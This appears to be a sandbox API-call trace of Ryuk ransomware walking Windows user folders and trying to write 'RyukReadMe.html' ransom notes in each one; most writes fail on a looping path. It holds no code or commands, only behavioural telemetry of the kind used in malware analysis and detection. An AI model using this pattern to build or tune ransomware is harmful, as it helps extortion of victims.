	[0251.474] SetLastError (dwErrCode=0x0) 
	[0251.474] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\transcoded files cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.474] GetLastError () returned 0x3
	[0251.474] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0251.474] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.474] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 0
	[0251.474] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0251.476] SetLastError (dwErrCode=0x0) 
	[0251.476] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.476] GetLastError () returned 0x3
	[0251.476] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0251.476] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.476] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1
	[0251.476] SetLastError (dwErrCode=0x0) 
	[0251.476] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8
	[0251.477] GetLastError () returned 0xb7
	[0251.477] CloseHandle (hObject=0x5b8) returned 1
	[0251.477] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0251.478] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0251.478] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="14.0", cAlternateFileName="")) returned 1
	[0251.478] SetLastError (dwErrCode=0x0) 
	[0251.478] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.478] GetLastError () returned 0x3
	[0251.478] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0251.478] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.478] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa90
	[0251.479] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0251.479] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 1
	[0251.479] SetLastError (dwErrCode=0x0) 
	[0251.479] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.479] GetLastError () returned 0x3
	[0251.479] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0251.480] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.480] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0251.480] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0251.480] SetLastError (dwErrCode=0x0) 
	[0251.480] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.480] GetLastError () returned 0x3
	[0251.480] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0251.480] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.480] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 0
	[0251.480] FindClose (in: hFindFile=0x3efa90 | out: hFindFile=0x3efa90) returned 1
	[0251.480] SetLastError (dwErrCode=0x0) 
	[0251.480] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.480] GetLastError () returned 0x3
	[0251.480] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0251.480] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.481] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1
	[0251.481] SetLastError (dwErrCode=0x0) 
	[0251.481] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.481] GetLastError () returned 0x3
	[0251.481] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0251.481] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.481] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa90
	[0251.481] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0251.481] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0251.481] SetLastError (dwErrCode=0x0) 
	[0251.482] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.482] GetLastError () returned 0x3
	[0251.482] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0251.482] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.482] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0251.482] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0251.482] SetLastError (dwErrCode=0x0) 
	[0251.482] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.482] GetLastError () returned 0x3
	[0251.482] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0251.482] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.482] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 1
	[0251.482] SetLastError (dwErrCode=0x0) 
	[0251.482] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.482] GetLastError () returned 0x3
	[0251.482] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0251.482] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.483] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0251.483] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0251.483] SetLastError (dwErrCode=0x0) 
	[0251.483] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\user\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.483] GetLastError () returned 0x3
	[0251.483] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0251.483] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.483] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 0
	[0251.483] FindClose (in: hFindFile=0x3efa90 | out: hFindFile=0x3efa90) returned 1
	[0251.483] SetLastError (dwErrCode=0x0) 
	[0251.483] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.483] GetLastError () returned 0x3
	[0251.483] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0251.483] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.483] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="ONetConfig", cAlternateFileName="ONETCO~1")) returned 1
	[0251.483] SetLastError (dwErrCode=0x0) 
	[0251.484] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.484] GetLastError () returned 0x3
	[0251.484] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0251.484] CloseHandle (hObject=0xffffffffffffffff) returned 0
